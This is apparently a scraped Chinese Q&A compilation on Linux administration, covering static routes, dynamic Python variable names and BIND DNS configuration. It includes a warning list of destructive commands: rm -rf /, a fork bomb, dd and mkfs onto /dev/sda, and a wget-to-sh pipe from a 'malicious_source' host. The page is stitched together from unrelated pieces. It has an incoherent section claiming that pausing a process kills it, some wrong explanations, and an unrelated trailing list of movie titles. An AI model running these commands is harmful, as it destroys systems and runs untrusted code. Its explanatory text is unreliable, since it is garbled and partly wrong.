[hchen@RHELSVR5 ~]# ldd /usr/bin/java linux-gate.so.1 => (0x00cd9000) libgij.so.7rh => /usr/lib/libgij.so.7rh (0x00ed3000) libgcj.so.7rh => /usr/lib/libgcj.so.7rh (0x00ed6000) libpthread.so.0 => /lib/i686/nosegneg/libpthread.so.0 (0x00110000) librt.so.1 => /lib/i686/nosegneg/librt.so.1 (0x009c8000) libdl.so.2 => /lib/libdl.so.2 (0x008b5000) libz.so.1 => /usr/lib/libz.so.1 (0x00bee000) libgcc_s.so.1 => /lib/libgcc_s.so.1 (0x00aa7000) libc.so.6 => /lib/i686/nosegneg/libc.so.6 (0x0022f000) libm.so.6 => /lib/i686/nosegneg/libm.so.6 (0x00127000) /lib/ld-linux.so.2 (0x00214000)。


關於Linux實用命令有哪些,青藤小編就和您分享到這里了。如果你對大數據工程有濃厚的興趣,希望這篇文章能夠對你有所幫助。如果您還想了解更多數據分析師、大數據工程師的技巧及素材等內容,可以點擊本站的其他文章進行學習。

⑹ Linux 暫停命令

linux的暫停命令就是將進程殺死。

用一個實例說明:

1、首先使用tar命令打包/usr目錄:

進程恢復運行狀態(R)

⑺ linux伺服器如何添加永久默認網關

一,使用 route 命令添加路由信息
注意,使用route 命令添加的路由,機器重啟或網卡重啟後路由會失效。
//添加到主機的路由
# route add –host 192.168.1.11 dev eth0
# route add –host 192.168.1.12 gw 192.168.1.1
//添加到網路的路由
# route add –net 192.168.1.11 netmask 255.255.255.0 eth0
# route add –net 192.168.1.11 netmask 255.255.255.0 gw 192.168.1.1
# route add –net 192.168.1.0/24 eth1
//添加默認網關
# route add default gw 192.168.2.1
//刪除路由
# route del –host 192.168.1.11 dev eth0
二,在linux下設置永久路由的方法:
1,在/etc/rc.local文件中添加
方法:
route add -net 192.168.3.0/24 dev eth0
route add -net 192.168.2.0/24 gw 192.168.2.254
相關閱讀:
linux中rc.local自啟動詳解
linux下/etc/rc.local開機不執行問題的解決辦法
2,在/etc/sysconfig/network里添加到末尾
方法:GATEWAY=gw-ip 或者 GATEWAY=gw-dev
3,修改static-routes文件 /etc/sysconfig/static-routes。(如果沒有就新建一個)
any net 192.168.3.0/24 gw 192.168.3.254
any net 10.250.228.128 netmask 255.255.255.192 gw 10.250.228.129
如果在rc.local中添加路由會造成NFS無法自動掛載問題,所以使用static-routes的方法是最好的。
無論重啟系統或重啟網路:service network restart均可以生效。
解決NFS問題的描述:
按照linux啟動的順序,rc.local裡面的內容是在linux所有服務都啟動完畢,最後才被執行的,其中的內容是在netfs之後才被執行的。
即在netfs啟動時,伺服器上的靜態路由是沒有被添加的,所以netfs掛載不能成功。
static-routes是什麼文件?
這個是network腳本執行時調用的一個文件,這個文件的放置在/etc/sysconfig目錄下,在network腳本中的位置是:
# Add non interface-specific static-routes.
if [ -f /etc/sysconfig/static-routes ]; then
grep "^any" /etc/sysconfig/static-routes | while read ignore args ; do
/sbin/route add -$args
done
fi
以上腳本就是添加靜態路由的方法,static-routes寫法為:
any net 192.168.0.0/16 gw 網關ip

⑻ 如何用python動態生成變數名字

你好,方法如下:
要寫一個程序,讓linuxany1=1,linuxany2=2,… inuxany100=100,你會怎麼做?
最容易想到的自然是eval,但是實際上根本不需要這種危險的東西,因為Python的變數名就是一個字典的key而已。要獲取這個字典,直接用locals和globals函數即可。
>>> names = locals()

>>> for i in xrange(1, 101):

... names['linuxany%s' % i] = i

... >>> linuxany1
1 >>> linuxany2
2 >>> linuxany100
100
不過你也許會說這個例子沒什麼用,畢竟用數組來實現更為實用。
舉一個例子:伺服器使用一種對象資料庫,可以直接保存對象到資料庫中。伺服器列出目前支持的所有類,而用戶想添加一個不存在於列表中的類,於是向伺服器發送一段JSON或XML文本。伺服器解析這段文本,將它轉換成一個class對象,並且設置類名。之後用戶就可以隨意生成這個類的對象。
關鍵是這個資料庫和類名相關,你不能用一個通用的Object類來保存所有的對象,否則查詢時就亂套了。
除了動態設置變數名,動態刪除也是可以的,例如
del locals()['linuxany1']
同樣,delattr也是可用的。
希望能幫到你。

⑼ LINUX系統有哪些危險命令

這9個「非常危險」的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執行rm -rf命令時,一定要留心,可以在「.bashrc」文件對「rm」命令創建rm
-i的別名,來預防用『rm』命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
3、命令 >/dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
5、wget http://malicious_source -O- | sh
上面這個命令會從一個惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會執行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執行上列命令後你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統達到不可恢復的階段。
7、> file
上面命令常用來清空文件內容,如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統可能陷入混亂和不可恢復的狀態。

⑽ linux下如何配置DNS伺服器,

在linux下配置DNS伺服器,下面是配置過程中設置過的一些文件,

/etc/hosts 文件的具體內容如下:

# Do not remove the following line, or various programs

# that require network functionality will fail.

127.0.0.1 localhost.localdomain localhost fc4

192.168.1.3 a.test.com a

192.168.1.1 b.test.cn b

/etc/host.conf 文件:

order hosts,bind

表示先用hosts文件做解析,在用DNS解析

/etc/resolv.conf 文件:

; generated by NetworkManager, do not edit!

search test.com

nameserver 127.0.0.1

search test.cn

nameserver 192.168.1.1

nameserver 61.144.56.100

/etc/named.conf 文件:

//

// named.conf for Red Hat caching-nameserver

//

options {

directory "/var/named";

mp-file "/var/named/data/cache_mp.db";

statistics-file "/var/named/data/named_stats.txt";

/*

* If there is a firewall between you and nameservers you want

* to talk to, you might need to uncomment the query-source

* directive below. Previous versions of BIND always asked

* questions using port 53, but BIND 8.1 uses an unprivileged

* port by default.

*/

// query-source address * port 53;

};

//

// a caching only nameserver config

//

controls {

inet 127.0.0.1 allow { localhost; } keys { rndckey; };

};

zone "." IN {

type hint;

file "named.ca";

};

zone "test.com"IN {

type master;

file "test.com";

allow-update { none; };

};

zone "1.168.192.in-addr.arpa"IN {

type master;

file "192.168.1.rev";

allow-update { none; };

};

zone "test.cn"IN {

type master;

file "test.cn";

allow-update { none; };

};

zone "0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa" IN {

type master;

file "named.ip6.local";

allow-update { none; };

};

zone "255.in-addr.arpa" IN {

type master;

file "named.broadcast";

allow-update { none; };

};

zone "0.in-addr.arpa" IN {

type master;

file "named.zero";

allow-update { none; };

};

include "/etc/rndc.key";

在/var/name/test.com 文件下:

$TTL 86400

@ IN SOA a.test.com. root.a.test.com (

42 ; serial (d. adams)

3H ; refresh

15M ; retry

1W ; expiry

1D ) ; minimum

IN NS a.test.com.

IN MX 10 mail.test.com.

a IN A 192.168.1.3

mail IN A 192.168.1.3

//其中root.a.test.com的含義是管理員的郵箱

/var/name/test.cn 文件下:

$TTL 86400

@ IN SOA b.test.cn. root.a.test.com (

42 ; serial (d. adams)

3H ; refresh

15M ; retry

1W ; expiry

1D ) ; minimum

IN NS b.test.cn.

IN MX 10 mail.test.cn.

b IN A 192.168.1.1

mail IN A 192.168.1.1

/var/name/192.168.1.rev 文件下:

$TTL 86400

@ IN SOA 1.168.192.in-addr.arpa. root.test.com. (

1997022700 ; Serial

28800 ; Refresh

14400 ; Retry

3600000 ; Expire

86400 ) ; Minimum

IN NS a.test.com.

IN NS b.test.cn.

IN MX 10 mail.test.com.

IN MX 10 mail.test.cn.

3 IN PTR a.test.com.

3 IN PTR mail.test.com.

1 IN PTR b.test.cn.

1 IN PTR mail.test.cn.

然後用/etc/init.d/named restart重啟DNS服務,在重啟過程中,我曾經出現過好幾次的錯誤,按照出錯的提示,會提示是named.conf文件第幾行出錯的。或者提示在那些包含文件例如test.cn這些文件裡面的問題,然後一個一個排除。

最後還有一些nslookup的命令比較有用:

set all用於顯示使用nslookup工具這台機器上的DNS伺服器的一些信息

set type=any會顯示完整信息包括域中郵件伺服器和主從DNS伺服器的名字和IP地址

server 192.168.0.1更換查詢的DNS伺服器地址

閱讀全文

與linuxany相關的資料

熱點內容
小仙兒有聲小說 瀏覽:182
罪孽2電影泰國版 瀏覽:757
美國電影蛇妖 瀏覽:684
滿青十大酷型電影 瀏覽:434
dayz進不了伺服器怎麼辦 瀏覽:386
安卓usbdac怎麼使用 瀏覽:939
法國小女生電影 瀏覽:308
反編譯本地運算游戲 瀏覽:566
阿里雲伺服器被攻擊了多久恢復 瀏覽:293
我的孝順女兒電影 瀏覽:597
翠微居txt下載 瀏覽:394
tom快播 瀏覽:662
換硬幣演算法遞歸 瀏覽:122
四級電影推薦 瀏覽:847
女主手臂處有射精管理局臂章的電影 瀏覽:328
從哪找韓國電影 瀏覽:313
pdf轉換成ppt如何轉換 瀏覽:146
國內越南戰爭的電影 瀏覽:246
台灣好看的倫理電影 瀏覽:525
外遇的妻子2李采潭 瀏覽:954